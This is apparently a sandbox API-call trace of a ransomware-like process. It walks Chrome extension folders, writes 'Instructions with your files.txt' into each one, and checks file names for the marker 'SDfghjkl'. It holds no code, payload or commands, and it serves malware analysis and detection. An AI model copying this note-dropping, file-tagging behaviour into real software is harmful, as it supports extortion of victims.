[0129.593] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.593] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.594] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.594] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.594] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.594] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.594] CloseHandle (hObject=0x130) returned 1
[0129.594] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.595] GetProcessHeap () returned 0x810000
[0129.595] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.595] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0129.595] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata") returned 139
[0129.595] GetProcessHeap () returned 0x810000
[0129.595] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.595] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*") returned 141
[0129.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.596] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\.") returned 141
[0129.596] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.596] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\..") returned 142
[0129.596] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x844eed30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
[0129.596] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json") returned 160
[0129.596] StrStrIW (lpFirst="computed_hashes.json", lpSrch="SDfghjkl") returned 0x0
[0129.596] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8424a8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8424a8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0129.596] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json") returned 162
[0129.596] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0129.596] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8424a8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8424a8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbcc13a00, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0129.596] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\Instructions with your files.txt") returned 172
[0129.596] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.598] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.599] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.599] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.599] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.600] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.600] CloseHandle (hObject=0x130) returned 1
[0129.600] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.600] GetProcessHeap () returned 0x810000
[0129.600] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.600] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x842481d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844eed30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844eed30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0129.600] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\Instructions with your files.txt") returned 162
[0129.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0129.600] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0129.601] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0129.601] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0129.601] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0129.601] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0129.601] CloseHandle (hObject=0x12c) returned 1
[0129.601] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0129.602] GetProcessHeap () returned 0x810000
[0129.602] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0129.603] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8401b790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844b1ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1_0", cAlternateFileName="")) returned 0
[0129.603] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\Instructions with your files.txt") returned 156
[0129.603] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0129.603] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0129.604] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0129.604] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0129.605] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0129.605] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0129.605] CloseHandle (hObject=0x128) returned 1
[0129.605] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0129.605] GetProcessHeap () returned 0x810000
[0129.605] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0129.605] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1
[0129.605] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned 123
[0129.605] GetProcessHeap () returned 0x810000
[0129.605] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0129.605] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*") returned 125
[0129.605] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0129.607] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\.") returned 125
[0129.607] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.607] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\..") returned 126
[0129.607] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.4_0", cAlternateFileName="")) returned 1
[0129.607] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0") returned 129
[0129.607] GetProcessHeap () returned 0x810000
[0129.607] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0129.607] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*") returned 131
[0129.607] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\.") returned 131
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\..") returned 132
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x862fc2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1378, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png") returned 137
[0129.609] StrStrIW (lpFirst="128.png", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1103, dwReserved0=0x0, dwReserved1=0x0, cFileName="contentscript_bin_prod.js", cAlternateFileName="CONTEN~1.JS")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js") returned 155
[0129.609] StrStrIW (lpFirst="contentscript_bin_prod.js", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x0, dwReserved1=0x0, cFileName="dasherSettingSchema.json", cAlternateFileName="DASHER~1.JSO")) returned 1
[0129.609] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json") returned 154
[0129.609] StrStrIW (lpFirst="dasherSettingSchema.json", lpSrch="SDfghjkl") returned 0x0
[0129.609] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86012940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86012940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eventpage_bin_prod.js", cAlternateFileName="EVENTP~1.JS")) returned 1
